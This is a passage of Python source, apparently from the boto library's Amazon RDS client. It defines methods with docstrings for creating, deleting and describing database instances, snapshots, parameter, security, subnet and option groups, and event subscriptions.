auto_minor_version_upgrade=None, iops=None, option_group_name=None, publicly_accessible=None, tags=None): """ Creates a DB instance that acts as a read replica of a source DB instance. All read replica DB instances are created as Single-AZ deployments with backups disabled. All other DB instance attributes (including DB security groups and DB parameter groups) are inherited from the source DB instance, except as specified below. The source DB instance must have backup retention enabled. :type db_instance_identifier: string :param db_instance_identifier: The DB instance identifier of the read replica. This is the unique key that identifies a DB instance. This parameter is stored as a lowercase string. :type source_db_instance_identifier: string :param source_db_instance_identifier: The identifier of the DB instance that will act as the source for the read replica. Each DB instance can have up to five read replicas. Constraints: Must be the identifier of an existing DB instance that is not already a read replica DB instance. :type db_instance_class: string :param db_instance_class: The compute and memory capacity of the read replica. Valid Values: `db.m1.small | db.m1.medium | db.m1.large | db.m1.xlarge | db.m2.xlarge |db.m2.2xlarge | db.m2.4xlarge` Default: Inherits from the source DB instance. :type availability_zone: string :param availability_zone: The Amazon EC2 Availability Zone that the read replica will be created in. Default: A random, system-chosen Availability Zone in the endpoint's region. Example: `us-east-1d` :type port: integer :param port: The port number that the DB instance uses for connections. Default: Inherits from the source DB instance Valid Values: `1150-65535` :type auto_minor_version_upgrade: boolean :param auto_minor_version_upgrade: Indicates that minor engine upgrades will be applied automatically to the read replica during the maintenance window. Default: Inherits from the source DB instance :type iops: integer :param iops: The amount of Provisioned IOPS (input/output operations per second) to be initially allocated for the DB instance. :type option_group_name: string :param option_group_name: The option group the DB instance will be associated with. If omitted, the default option group for the engine specified will be used. :type publicly_accessible: boolean :param publicly_accessible: Specifies the accessibility options for the DB instance. A value of true specifies an Internet-facing instance with a publicly resolvable DNS name, which resolves to a public IP address. A value of false specifies an internal instance with a DNS name that resolves to a private IP address. Default: The default behavior varies depending on whether a VPC has been requested or not. The following list shows the default behavior in each case. + **Default VPC:**true + **VPC:**false If no DB subnet group has been specified as part of the request and the PubliclyAccessible value has not been set, the DB instance will be publicly accessible. If a specific DB subnet group has been specified as part of the request and the PubliclyAccessible value has not been set, the DB instance will be private. :type tags: list :param tags: A list of tags. """ params = { 'DBInstanceIdentifier': db_instance_identifier, 'SourceDBInstanceIdentifier': source_db_instance_identifier, } if db_instance_class is not None: params['DBInstanceClass'] = db_instance_class if availability_zone is not None: params['AvailabilityZone'] = availability_zone if port is not None: params['Port'] = port if auto_minor_version_upgrade is not None: params['AutoMinorVersionUpgrade'] = str( auto_minor_version_upgrade).lower() if iops is not None: params['Iops'] = iops if option_group_name is not None: params['OptionGroupName'] = option_group_name if publicly_accessible is not None: params['PubliclyAccessible'] = str( publicly_accessible).lower() if tags is not None: self.build_complex_list_params( params, tags, 'Tags.member', ('Key', 'Value')) return self._make_request( action='CreateDBInstanceReadReplica', verb='POST', path='/', params=params) def create_db_parameter_group(self, db_parameter_group_name, db_parameter_group_family, description, tags=None): """ Creates a new DB parameter group. A DB parameter group is initially created with the default parameters for the database engine used by the DB instance. To provide custom values for any of the parameters, you must modify the group after creating it using ModifyDBParameterGroup . Once you've created a DB parameter group, you need to associate it with your DB instance using ModifyDBInstance . When you associate a new DB parameter group with a running DB instance, you need to reboot the DB Instance for the new DB parameter group and associated settings to take effect. :type db_parameter_group_name: string :param db_parameter_group_name: The name of the DB parameter group. Constraints: + Must be 1 to 255 alphanumeric characters + First character must be a letter + Cannot end with a hyphen or contain two consecutive hyphens This value is stored as a lower-case string. :type db_parameter_group_family: string :param db_parameter_group_family: The DB parameter group family name. A DB parameter group can be associated with one and only one DB parameter group family, and can be applied only to a DB instance running a database engine and engine version compatible with that DB parameter group family. :type description: string :param description: The description for the DB parameter group. :type tags: list :param tags: A list of tags. """ params = { 'DBParameterGroupName': db_parameter_group_name, 'DBParameterGroupFamily': db_parameter_group_family, 'Description': description, } if tags is not None: self.build_complex_list_params( params, tags, 'Tags.member', ('Key', 'Value')) return self._make_request( action='CreateDBParameterGroup', verb='POST', path='/', params=params) def create_db_security_group(self, db_security_group_name, db_security_group_description, tags=None): """ Creates a new DB security group. DB security groups control access to a DB instance. :type db_security_group_name: string :param db_security_group_name: The name for the DB security group. This value is stored as a lowercase string. Constraints: + Must be 1 to 255 alphanumeric characters + First character must be a letter + Cannot end with a hyphen or contain two consecutive hyphens + Must not be "Default" + May not contain spaces Example: `mysecuritygroup` :type db_security_group_description: string :param db_security_group_description: The description for the DB security group. :type tags: list :param tags: A list of tags. """ params = { 'DBSecurityGroupName': db_security_group_name, 'DBSecurityGroupDescription': db_security_group_description, } if tags is not None: self.build_complex_list_params( params, tags, 'Tags.member', ('Key', 'Value')) return self._make_request( action='CreateDBSecurityGroup', verb='POST', path='/', params=params) def create_db_snapshot(self, db_snapshot_identifier, db_instance_identifier, tags=None): """ Creates a DBSnapshot. The source DBInstance must be in "available" state. :type db_snapshot_identifier: string :param db_snapshot_identifier: The identifier for the DB snapshot. Constraints: + Cannot be null, empty, or blank + Must contain from 1 to 255 alphanumeric characters or hyphens + First character must be a letter + Cannot end with a hyphen or contain two consecutive hyphens Example: `my-snapshot-id` :type db_instance_identifier: string :param db_instance_identifier: The DB instance identifier. This is the unique key that identifies a DB instance. This parameter isn't case sensitive. Constraints: + Must contain from 1 to 63 alphanumeric characters or hyphens + First character must be a letter + Cannot end with a hyphen or contain two consecutive hyphens :type tags: list :param tags: A list of tags. """ params = { 'DBSnapshotIdentifier': db_snapshot_identifier, 'DBInstanceIdentifier': db_instance_identifier, } if tags is not None: self.build_complex_list_params( params, tags, 'Tags.member', ('Key', 'Value')) return self._make_request( action='CreateDBSnapshot', verb='POST', path='/', params=params) def create_db_subnet_group(self, db_subnet_group_name, db_subnet_group_description, subnet_ids, tags=None): """ Creates a new DB subnet group. DB subnet groups must contain at least one subnet in at least two AZs in the region. :type db_subnet_group_name: string :param db_subnet_group_name: The name for the DB subnet group. This value is stored as a lowercase string. Constraints: Must contain no more than 255 alphanumeric characters or hyphens. Must not be "Default". Example: `mySubnetgroup` :type db_subnet_group_description: string :param db_subnet_group_description: The description for the DB subnet group. :type subnet_ids: list :param subnet_ids: The EC2 Subnet IDs for the DB subnet group. :type tags: list :param tags: A list of tags into tuples. """ params = { 'DBSubnetGroupName': db_subnet_group_name, 'DBSubnetGroupDescription': db_subnet_group_description, } self.build_list_params(params, subnet_ids, 'SubnetIds.member') if tags is not None: self.build_complex_list_params( params, tags, 'Tags.member', ('Key', 'Value')) return self._make_request( action='CreateDBSubnetGroup', verb='POST', path='/', params=params) def create_event_subscription(self, subscription_name, sns_topic_arn, source_type=None, event_categories=None, source_ids=None, enabled=None, tags=None): """ Creates an RDS event notification subscription. This action requires a topic ARN (Amazon Resource Name) created by either the RDS console, the SNS console, or the SNS API. To obtain an ARN with SNS, you must create a topic in Amazon SNS and subscribe to the topic. The ARN is displayed in the SNS console. You can specify the type of source (SourceType) you want to be notified of, provide a list of RDS sources (SourceIds) that triggers the events, and provide a list of event categories (EventCategories) for events you want to be notified of. For example, you can specify SourceType = db-instance, SourceIds = mydbinstance1, mydbinstance2 and EventCategories = Availability, Backup. If you specify both the SourceType and SourceIds, such as SourceType = db-instance and SourceIdentifier = myDBInstance1, you will be notified of all the db-instance events for the specified source. If you specify a SourceType but do not specify a SourceIdentifier, you will receive notice of the events for that source type for all your RDS sources. If you do not specify either the SourceType nor the SourceIdentifier, you will be notified of events generated from all RDS sources belonging to your customer account. :type subscription_name: string :param subscription_name: The name of the subscription. Constraints: The name must be less than 255 characters. :type sns_topic_arn: string :param sns_topic_arn: The Amazon Resource Name (ARN) of the SNS topic created for event notification. The ARN is created by Amazon SNS when you create a topic and subscribe to it. :type source_type: string :param source_type: The type of source that will be generating the events. For example, if you want to be notified of events generated by a DB instance, you would set this parameter to db-instance. if this value is not specified, all events are returned. Valid values: db-instance | db-parameter-group | db-security-group | db-snapshot :type event_categories: list :param event_categories: A list of event categories for a SourceType that you want to subscribe to. You can see a list of the categories for a given SourceType in the `Events`_ topic in the Amazon RDS User Guide or by using the **DescribeEventCategories** action. :type source_ids: list :param source_ids: The list of identifiers of the event sources for which events will be returned. If not specified, then all sources are included in the response. An identifier must begin with a letter and must contain only ASCII letters, digits, and hyphens; it cannot end with a hyphen or contain two consecutive hyphens. Constraints: + If SourceIds are supplied, SourceType must also be provided. + If the source type is a DB instance, then a `DBInstanceIdentifier` must be supplied. + If the source type is a DB security group, a `DBSecurityGroupName` must be supplied. + If the source type is a DB parameter group, a `DBParameterGroupName` must be supplied. + If the source type is a DB snapshot, a `DBSnapshotIdentifier` must be supplied. :type enabled: boolean :param enabled: A Boolean value; set to **true** to activate the subscription, set to **false** to create the subscription but not active it. :type tags: list :param tags: A list of tags. """ params = { 'SubscriptionName': subscription_name, 'SnsTopicArn': sns_topic_arn, } if source_type is not None: params['SourceType'] = source_type if event_categories is not None: self.build_list_params(params, event_categories, 'EventCategories.member') if source_ids is not None: self.build_list_params(params, source_ids, 'SourceIds.member') if enabled is not None: params['Enabled'] = str( enabled).lower() if tags is not None: self.build_complex_list_params( params, tags, 'Tags.member', ('Key', 'Value')) return self._make_request( action='CreateEventSubscription', verb='POST', path='/', params=params) def create_option_group(self, option_group_name, engine_name, major_engine_version, option_group_description, tags=None): """ Creates a new option group. You can create up to 20 option groups. :type option_group_name: string :param option_group_name: Specifies the name of the option group to be created. Constraints: + Must be 1 to 255 alphanumeric characters or hyphens + First character must be a letter + Cannot end with a hyphen or contain two consecutive hyphens Example: `myoptiongroup` :type engine_name: string :param engine_name: Specifies the name of the engine that this option group should be associated with. :type major_engine_version: string :param major_engine_version: Specifies the major version of the engine that this option group should be associated with. :type option_group_description: string :param option_group_description: The description of the option group. :type tags: list :param tags: A list of tags. """ params = { 'OptionGroupName': option_group_name, 'EngineName': engine_name, 'MajorEngineVersion': major_engine_version, 'OptionGroupDescription': option_group_description, } if tags is not None: self.build_complex_list_params( params, tags, 'Tags.member', ('Key', 'Value')) return self._make_request( action='CreateOptionGroup', verb='POST', path='/', params=params) def delete_db_instance(self, db_instance_identifier, skip_final_snapshot=None, final_db_snapshot_identifier=None): """ The DeleteDBInstance action deletes a previously provisioned DB instance. A successful response from the web service indicates the request was received correctly. When you delete a DB instance, all automated backups for that instance are deleted and cannot be recovered. Manual DB snapshots of the DB instance to be deleted are not deleted. If a final DB snapshot is requested the status of the RDS instance will be "deleting" until the DB snapshot is created. The API action `DescribeDBInstance` is used to monitor the status of this operation. The action cannot be canceled or reverted once submitted. :type db_instance_identifier: string :param db_instance_identifier: The DB instance identifier for the DB instance to be deleted. This parameter isn't case sensitive. Constraints: + Must contain from 1 to 63 alphanumeric characters or hyphens + First character must be a letter + Cannot end with a hyphen or contain two consecutive hyphens :type skip_final_snapshot: boolean :param skip_final_snapshot: Determines whether a final DB snapshot is created before the DB instance is deleted. If `True` is specified, no DBSnapshot is created. If false is specified, a DB snapshot is created before the DB instance is deleted. The FinalDBSnapshotIdentifier parameter must be specified if SkipFinalSnapshot is `False`. Default: `False` :type final_db_snapshot_identifier: string :param final_db_snapshot_identifier: The DBSnapshotIdentifier of the new DBSnapshot created when SkipFinalSnapshot is set to `False`. Specifying this parameter and also setting the SkipFinalShapshot parameter to true results in an error. Constraints: + Must be 1 to 255 alphanumeric characters + First character must be a letter + Cannot end with a hyphen or contain two consecutive hyphens """ params = {'DBInstanceIdentifier': db_instance_identifier, } if skip_final_snapshot is not None: params['SkipFinalSnapshot'] = str( skip_final_snapshot).lower() if final_db_snapshot_identifier is not None: params['FinalDBSnapshotIdentifier'] = final_db_snapshot_identifier return self._make_request( action='DeleteDBInstance', verb='POST', path='/', params=params) def delete_db_parameter_group(self, db_parameter_group_name): """ Deletes a specified DBParameterGroup. The DBParameterGroup cannot be associated with any RDS instances to be deleted. The specified DB parameter group cannot be associated with any DB instances. :type db_parameter_group_name: string :param db_parameter_group_name: The name of the DB parameter group. Constraints: + Must be the name of an existing DB parameter group + You cannot delete a default DB parameter group + Cannot be associated with any DB instances """ params = {'DBParameterGroupName': db_parameter_group_name, } return self._make_request( action='DeleteDBParameterGroup', verb='POST', path='/', params=params) def delete_db_security_group(self, db_security_group_name): """ Deletes a DB security group. The specified DB security group must not be associated with any DB instances. :type db_security_group_name: string :param db_security_group_name: The name of the DB security group to delete. You cannot delete the default DB security group. Constraints: + Must be 1 to 255 alphanumeric characters + First character must be a letter + Cannot end with a hyphen or contain two consecutive hyphens + Must not be "Default" + May not contain spaces """ params = {'DBSecurityGroupName': db_security_group_name, } return self._make_request( action='DeleteDBSecurityGroup', verb='POST', path='/', params=params) def delete_db_snapshot(self, db_snapshot_identifier): """ Deletes a DBSnapshot. The DBSnapshot must be in the `available` state to be deleted. :type db_snapshot_identifier: string :param db_snapshot_identifier: The DBSnapshot identifier. Constraints: Must be the name of an existing DB snapshot in the `available` state. """ params = {'DBSnapshotIdentifier': db_snapshot_identifier, } return self._make_request( action='DeleteDBSnapshot', verb='POST', path='/', params=params) def delete_db_subnet_group(self, db_subnet_group_name): """ Deletes a DB subnet group. The specified database subnet group must not be associated with any DB instances. :type db_subnet_group_name: string :param db_subnet_group_name: The name of the database subnet group to delete. You cannot delete the default subnet group. Constraints: + Must be 1 to 255 alphanumeric characters + First character must be a letter + Cannot end with a hyphen or contain two consecutive hyphens """ params = {'DBSubnetGroupName': db_subnet_group_name, } return self._make_request( action='DeleteDBSubnetGroup', verb='POST', path='/', params=params) def delete_event_subscription(self, subscription_name): """ Deletes an RDS event notification subscription. :type subscription_name: string :param subscription_name: The name of the RDS event notification subscription you want to delete. """ params = {'SubscriptionName': subscription_name, } return self._make_request( action='DeleteEventSubscription', verb='POST', path='/', params=params) def delete_option_group(self, option_group_name): """ Deletes an existing option group. :type option_group_name: string :param option_group_name: The name of the option group to be deleted. You cannot delete default option groups. """ params = {'OptionGroupName': option_group_name, } return self._make_request( action='DeleteOptionGroup', verb='POST', path='/', params=params) def describe_db_engine_versions(self, engine=None, engine_version=None, db_parameter_group_family=None, max_records=None, marker=None, default_only=None, list_supported_character_sets=None): """ Returns a list of the available DB engines. :type engine: string :param engine: The database engine to return. :type engine_version: string :param engine_version: The database engine version to return. Example: `5.1.49` :type db_parameter_group_family: string :param db_parameter_group_family: The name of a specific DB parameter group family to return details for. Constraints: + Must be 1 to 255 alphanumeric characters + First character must be a letter + Cannot end with a hyphen or contain two consecutive hyphens :type max_records: integer :param max_records: The maximum number of records to include in the response. If more than the `MaxRecords` value is available, a pagination token called a marker is included in the response so that the following results can be retrieved. Default: 100 Constraints: minimum 20, maximum 100 :type marker: string :param marker: An optional pagination token provided by a previous request. If this parameter is specified, the response includes only records beyond the marker, up to the value specified by `MaxRecords`. :type default_only: boolean :param default_only: Indicates that only the default version of the specified engine or engine and major version combination is returned. :type list_supported_character_sets: boolean :param list_supported_character_sets: If this parameter is specified, and if the requested engine supports the CharacterSetName parameter for CreateDBInstance, the response includes a list of supported character sets for each engine version. """ params = {} if engine is not None: params['Engine'] = engine if engine_version is not None: params['EngineVersion'] = engine_version if db_parameter_group_family is not None: params['DBParameterGroupFamily'] = db_parameter_group_family if max_records is not None: params['MaxRecords'] = max_records if marker is not None: params['Marker'] = marker if default_only is not None: params['DefaultOnly'] = str( default_only).lower() if list_supported_character_sets is not None: params['ListSupportedCharacterSets'] = str( list_supported_character_sets).lower() return self._make_request( action='DescribeDBEngineVersions', verb='POST', path='/', params=params) def describe_db_instances(self, db_instance_identifier=None, filters=None, max_records=None, marker=None): """ Returns information about provisioned RDS instances. This API supports pagination. :type db_instance_identifier: string :param db_instance_identifier: The user-supplied instance identifier. If this parameter is specified, information from only the specific DB instance is returned. This parameter isn't case sensitive. Constraints: + Must contain from 1 to 63 alphanumeric characters or hyphens + First character must be a letter + Cannot end with a hyphen or contain two consecutive hyphens :type filters: list :param filters: :type max_records: integer :param max_records: The maximum number of records to include in the response. If more records exist than the specified `MaxRecords` value, a pagination token called a marker is included in the response so that the remaining results may be retrieved. Default: 100 Constraints: minimum 20, maximum 100 :type marker: string :param marker: An optional pagination token provided by a previous DescribeDBInstances request. If this parameter is specified, the response includes only records beyond the marker, up to the value specified by `MaxRecords` . """ params = {} if db_instance_identifier is not None: params['DBInstanceIdentifier'] = db_instance_identifier if filters is not None: self.build_complex_list_params( params, filters, 'Filters.member', ('FilterName', 'FilterValue')) if max_records is not None: params['MaxRecords'] = max_records if marker is not None: params['Marker'] = marker return self._make_request( action='DescribeDBInstances', verb='POST', path='/', params=params) def describe_db_log_files(self, db_instance_identifier, filename_contains=None, file_last_written=None, file_size=None, max_records=None, marker=None): """ Returns a list of DB log files for the DB instance. :type db_instance_identifier: string :param db_instance_identifier: The customer-assigned name of the DB instance that contains the log files you want to list. Constraints: + Must contain from 1 to 63 alphanumeric characters or hyphens + First character must be a letter + Cannot end with a hyphen or contain two consecutive hyphens :type filename_contains: string :param filename_contains: Filters the available log files for log file names that contain the specified string. :type file_last_written: long :param file_last_written: Filters the available log files for files written since the specified date, in POSIX timestamp format. :type file_size: long :param file_size: Filters the available log files for files larger than the specified size. :type max_records: integer :param max_records: The maximum number of records to include in the response. If more records exist than the specified MaxRecords value, a pagination token called a marker is included in the response so that the remaining results can be retrieved. :type marker: string :param marker: The pagination token provided in the previous request. If this parameter is specified the response includes only records beyond the marker, up to MaxRecords. """ params = {'DBInstanceIdentifier': db_instance_identifier, } if filename_contains is not None: params['FilenameContains'] = filename_contains if file_last_written is not None: params['FileLastWritten'] = file_last_written if file_size is not None: params['FileSize'] = file_size if max_records is not None: params['MaxRecords'] = max_records if marker is not None: params['Marker'] = marker return self._make_request( action='DescribeDBLogFiles', verb='POST', path='/', params=params) def describe_db_parameter_groups(self, db_parameter_group_name=None, filters=None, max_records=None, marker=None): """ Returns a list of `DBParameterGroup` descriptions. If a `DBParameterGroupName` is specified, the list will contain only the description of the specified DB parameter group. :type db_parameter_group_name: string :param db_parameter_group_name: The name of a specific DB parameter group to return details for. Constraints: + Must be 1 to 255 alphanumeric characters + First character must be a letter + Cannot end with a hyphen or contain two consecutive hyphens :type filters: list :param filters: :type max_records: integer :param max_records: The maximum number of records to include in the response. If more records exist than the specified `MaxRecords` value, a pagination token called a marker is included in the response so that the remaining results may be retrieved. Default: 100 Constraints: minimum 20, maximum 100 :type marker: string :param marker: An optional pagination token provided by a previous `DescribeDBParameterGroups` request. If this parameter is specified, the response includes only records beyond the marker, up to the value specified by `MaxRecords`. """ params = {} if db_parameter_group_name is not None: params['DBParameterGroupName'] = db_parameter_group_name if filters is not None: self.build_complex_list_params( params, filters, 'Filters.member', ('FilterName', 'FilterValue')) if max_records is not None: params['MaxRecords'] = max_records if marker is not None: params['Marker'] = marker return self._make_request( action='DescribeDBParameterGroups', verb='POST', path='/', params=params) def describe_db_parameters(self, db_parameter_group_name, source=None, max_records=None, marker=None): """ Returns the detailed parameter list for a particular DB parameter group. :type db_parameter_group_name: string :param db_parameter_group_name: The name of a specific DB parameter group to return details for. Constraints: + Must be 1 to 255 alphanumeric characters + First character must be a letter + Cannot end with a hyphen or contain two consecutive hyphens :type source: string :param source: The parameter types to return. Default: All parameter types returned Valid Values: `user | system | engine-default` :type max_records: integer :param max_records: The maximum number of records to include in the response. If more records exist than the specified `MaxRecords` value, a pagination token called a marker is included in the response so that the remaining results may be retrieved. Default: 100 Constraints: minimum 20, maximum 100 :type marker: string :param marker: An optional pagination token provided by a previous `DescribeDBParameters` request. If this parameter is specified, the response includes only records beyond the marker, up to the value specified by `MaxRecords`. """ params = {'DBParameterGroupName': db_parameter_group_name, } if source is not None: params['Source'] = source if max_records is not None: params['MaxRecords'] = max_records if marker is not None: params['Marker'] = marker return self._make_request( action='DescribeDBParameters', verb='POST', path='/', params=params) def describe_db_security_groups(self, db_security_group_name=None, filters=None, max_records=None, marker=None): """ Returns a list of `DBSecurityGroup` descriptions. If a `DBSecurityGroupName` is specified, the list will contain only the descriptions of the specified DB security group. :type db_security_group_name: string :param db_security_group_name: The name of the DB security group to return details for. :type filters: list :param filters: :type max_records: integer :param max_records: The maximum number of records to include in the response. If more records exist than the specified `MaxRecords` value, a pagination token called a marker is included in the response so that the remaining results may be retrieved. Default: 100 Constraints: minimum 20, maximum 100 :type marker: string :param marker: An optional pagination token provided by a previous DescribeDBSecurityGroups request. If this parameter is specified, the response includes only records beyond the marker, up to the value specified by `MaxRecords`. """ params = {} if db_security_group_name is not None: params['DBSecurityGroupName'] = db_security_group_name if filters is not None: self.build_complex_list_params( params, filters, 'Filters.member', ('FilterName', 'FilterValue')) if max_records is not None: params['MaxRecords'] = max_records if marker is not None: params['Marker'] = marker return self._make_request( action='DescribeDBSecurityGroups', verb='POST', path='/', params=params) def describe_db_snapshots(self, db_instance_identifier=None, db_snapshot_identifier=None, snapshot_type=None, filters=None, max_records=None, marker=None): """ Returns information about DB snapshots. This API supports pagination. :type db_instance_identifier: string :param db_instance_identifier: A DB instance identifier to retrieve the list of DB snapshots for. Cannot be used in conjunction with `DBSnapshotIdentifier`. This parameter is not case sensitive. Constraints: + Must contain from 1 to 63 alphanumeric characters or hyphens + First character must be a letter + Cannot end with a hyphen or contain two consecutive hyphens :type db_snapshot_identifier: string :param db_snapshot_identifier: A specific DB snapshot identifier to describe. Cannot be used in conjunction with `DBInstanceIdentifier`. This value is stored as a lowercase string. Constraints: + Must be 1 to 255 alphanumeric characters + First character must be a letter + Cannot end with a hyphen or contain two consecutive hyphens + If this is the identifier of an automated snapshot, the `SnapshotType` parameter must also be specified. :type snapshot_type: string :param snapshot_type: The type of snapshots that will be returned. Values can be "automated" or "manual." If not specified, the returned results will include all snapshots types. :type filters: list :param filters: :type max_records: integer :param max_records: The maximum number of records to include in the response. If more records exist than the specified `MaxRecords` value, a pagination token called a marker is included in the response so that the remaining results may be retrieved. Default: 100 Constraints: minimum 20, maximum 100 :type marker: string :param marker: An optional pagination token provided by a previous `DescribeDBSnapshots` request. If this parameter is specified, the response includes only records beyond the marker, up to the value specified by `MaxRecords`. """ params = {} if db_instance_identifier is not None: params['DBInstanceIdentifier'] = db_instance_identifier if db_snapshot_identifier is not None: params['DBSnapshotIdentifier'] = db_snapshot_identifier if snapshot_type is not None: params['SnapshotType'] = snapshot_type if filters is not None: self.build_complex_list_params( params, filters, 'Filters.member', ('FilterName', 'FilterValue')) if max_records is not None: params['MaxRecords'] = max_records if marker is not None: params['Marker'] = marker return self._make_request( action='DescribeDBSnapshots', verb='POST', path='/', params=params) def describe_db_subnet_groups(self, db_subnet_group_name=None, filters=None, max_records=None, marker=None): """ Returns a list of DBSubnetGroup descriptions. If a DBSubnetGroupName is specified, the list will contain only the descriptions of the specified DBSubnetGroup. For an overview of CIDR ranges, go to the `Wikipedia Tutorial`_. :type db_subnet_group_name: string :param db_subnet_group_name: The name of the DB subnet group to return details for. :type filters: list :param filters: :type max_records: integer :param max_records: The maximum number of records to include in the response. If more records exist than the specified `MaxRecords` value, a pagination token called a marker is included in the response so that the remaining results may be retrieved. Default: 100 Constraints: minimum 20, maximum 100 :type marker: string :param marker: An optional pagination token provided by a previous DescribeDBSubnetGroups request. If this parameter is specified, the response includes only records beyond the marker, up to the value specified by `MaxRecords`. """ params = {} if db_subnet_group_name is not None: params['DBSubnetGroupName'] = db_subnet_group_name if filters is not None: self.build_complex_list_params( params, filters, 'Filters.member', ('FilterName', 'FilterValue')) if max_records is not None: params['MaxRecords'] = max_records if marker is not None: params['Marker'] = marker return self._make_request( action='DescribeDBSubnetGroups', verb='POST', path='/', params=params) def describe_engine_default_parameters(self, db_parameter_group_family, max_records=None, marker=None): """ Returns the default engine and system parameter information for the specified database engine. :type db_parameter_group_family: string :param db_parameter_group_family: The name of the DB parameter group family. :type max_records: integer :param max_records: The maximum number of records to include in the response. If more records exist than the specified `MaxRecords` value, a pagination token called a marker is included in the response so that the remaining results may be retrieved. Default: 100 Constraints: minimum 20, maximum 100 :type marker: string :param marker: An optional pagination token provided by a previous `DescribeEngineDefaultParameters` request. If this parameter is specified, the response includes only records beyond the marker, up to the value specified by `MaxRecords`. """ params = { 'DBParameterGroupFamily': db_parameter_group_family, } if max_records is not None: params['MaxRecords'] = max_records if marker is not None: params['Marker'] = marker return self._make_request( action='DescribeEngineDefaultParameters', verb='POST', path='/', params=params) def describe_event_categories(self, source_type=None): """ Displays a list of categories for all event source types, or, if specified, for a specified source type. You can see a list of the event categories and source types in the ` Events`_ topic in the Amazon RDS User Guide. :type source_type: string :param source_type: The type of source that will be generating the events. Valid values: db-instance | db-parameter-group | db-security-group | db-snapshot """ params = {} if source_type is not None: params['SourceType'] = source_type return self._make_request( action='DescribeEventCategories', verb='POST', path='/', params=params) def describe_event_subscriptions(self, subscription_name=None, filters=None, max_records=None, marker=None): """ Lists all the subscription descriptions for a customer account. The description for a subscription includes SubscriptionName, SNSTopicARN, CustomerID, SourceType, SourceID, CreationTime, and Status. If you specify a SubscriptionName, lists the description for that subscription. :type subscription_name: string :param subscription_name: The name of the RDS event notification subscription you want to describe. :type filters: list :param filters: :type max_records: integer :param max_records: The maximum number of records to include in the response. If more records exist than the specified `MaxRecords` value, a pagination token called a marker is included in the response so that the remaining results can be retrieved. Default: 100 Constraints: minimum 20, maximum 100 :type marker: string :param marker: An optional pagination token provided by a previous DescribeOrderableDBInstanceOptions request. If this parameter is specified, the response includes only records beyond the marker, up to the value specified by `MaxRecords` . """ params = {} if subscription_name is not None: params['SubscriptionName'] = subscription_name if filters is not None: self.build_complex_list_params( params, filters, 'Filters.member', ('FilterName', 'FilterValue')) if max_records is not None: params['MaxRecords'] = max_records if marker is not None: params['Marker'] = marker return self._make_request( action='DescribeEventSubscriptions', verb='POST', path='/', params=params) def describe_events(self, source_identifier=None, source_type=None, start_time=None, end_time=None, duration=None, event_categories=None, max_records=None, marker=None): """ Returns events related to DB instances, DB security groups, DB snapshots, and DB parameter groups for the past 14 days. Events specific to a particular DB instance, DB security group, database snapshot, or DB parameter group can be obtained by providing the name as a parameter. By default, the past hour of events are returned. :type source_identifier: string :param source_identifier: The identifier of the event source for which events will be returned. If not specified, then all sources are included in the response. Constraints: + If SourceIdentifier is supplied, SourceType must also be provided. + If the source type is `DBInstance`, then a `DBInstanceIdentifier` must be supplied. + If the source type is `DBSecurityGroup`, a `DBSecurityGroupName` must be supplied. + If the source type is `DBParameterGroup`, a `DBParameterGroupName` must be supplied. + If the source type is `DBSnapshot`, a `DBSnapshotIdentifier` must be supplied. + Cannot end with a hyphen or contain two consecutive hyphens. :type source_type: string :param source_type: The event source to retrieve events for. If no value is specified, all events are returned. :type start_time: timestamp :param start_time: The beginning of the time interval to retrieve events for, specified in ISO 8601 format. For more information about ISO 8601, go to the `ISO8601 Wikipedia page.`_ Example: 2009-07-08T18:00Z :type end_time: timestamp :param end_time: The end of the time interval for which to retrieve events, specified in ISO 8601 format. For more information about ISO 8601, go to the `ISO8601 Wikipedia page.`_ Example: 2009-07-08T18:00Z :type duration: integer :param duration: The number of minutes to retrieve events for. Default: 60 :type event_categories: list :param event_categories: A list of event categories that trigger notifications for a event notification subscription. :type max_records: integer :param max_records: The maximum number of records to include in the response. If more records exist than the specified `MaxRecords` value, a pagination token called a marker is included in the response so that the remaining results may be retrieved. Default: 100 Constraints: minimum 20, maximum 100 :type marker: string :param marker: An optional pagination token provided by a previous DescribeEvents request. If this parameter is specified, the response includes only records beyond the marker, up to the value specified by `MaxRecords`. """ params = {} if source_identifier is not None: params['SourceIdentifier'] = source_identifier if source_type is not None: params['SourceType'] = source_type if start_time is not None: params['StartTime'] = start_time if end_time is not None: params['EndTime'] = end_time if duration is not None: params['Duration'] = duration if event_categories is not None: self.build_list_params(params, event_categories, 'EventCategories.member') if max_records is not None: params['MaxRecords'] = max_records if marker is not None: params['Marker'] = marker return self._make_request( action='DescribeEvents', verb='POST', path='/', params=params) def describe_option_group_options(self, engine_name, major_engine_version=None, max_records=None, marker=None): """ Describes all available options. :type engine_name: string :param engine_name: A required parameter. Options available for the given Engine name will be described. :type major_engine_version: string :param major_engine_version: If specified, filters the results to include only options for the specified major engine version. :type max_records: integer :param max_records: The maximum number of records to include in the response. If more records exist than the specified `MaxRecords` value, a pagination token called a marker is included in the response so that the remaining results can be retrieved. Default: 100 Constraints: minimum 20, maximum 100 :type marker: string :param marker: An optional pagination token provided by a previous request. If this parameter is specified, the response includes only records beyond the marker, up to the value specified by `MaxRecords`. """ params = {'EngineName': engine_name, } if major_engine_version is not None: params['MajorEngineVersion'] = major_engine_version if max_records is not None: params['MaxRecords'] = max_records if marker is not None: params['Marker'] = marker return self._make_request( action='DescribeOptionGroupOptions', verb='POST', path='/', params=params) def describe_option_groups(self, option_group_name=None, filters=None, marker=None, max_records=None, engine_name=None, major_engine_version=None): """ Describes the available option groups. :type option_group_name: string :param option_group_name: The name of the option group to describe. Cannot be supplied together with EngineName or MajorEngineVersion. :type filters: list :param filters: :type marker: string :param marker: An optional pagination token provided by a previous DescribeOptionGroups request. If this parameter is specified, the response includes only records beyond the marker, up to the value specified by `MaxRecords`. :type max_records: integer :param max_records: The maximum number of records to include in the response. If more records exist than the specified `MaxRecords` value, a pagination token called a marker is included in the response so that the remaining results can be retrieved. Default: 100 Constraints: minimum 20, maximum 100 :type engine_name: string :param engine_name: Filters the list of option groups to only include groups associated with a specific database engine. :type major_engine_version: string :param major_engine_version: Filters the list of option groups to only include groups associated with a specific database engine version. If specified, then EngineName must also be specified. """ params = {} if option_group_name is not None: params['OptionGroupName'] = option_group_name if filters is not None: self.build_complex_list_params( params, filters, 'Filters.member', ('FilterName', 'FilterValue')) if marker is not None: params['Marker'] = marker if max_records is not None: params['MaxRecords'] = max_records if engine_name is not None: params['EngineName'] = engine_name if major_engine_version is not None: params['MajorEngineVersion'] = major_engine_version return self._make_request( action='DescribeOptionGroups', verb='POST', path='/', params=params) def describe_orderable_db_instance_options(self, engine, engine_version=None, db_instance_class=None, license_model=None, vpc=None, 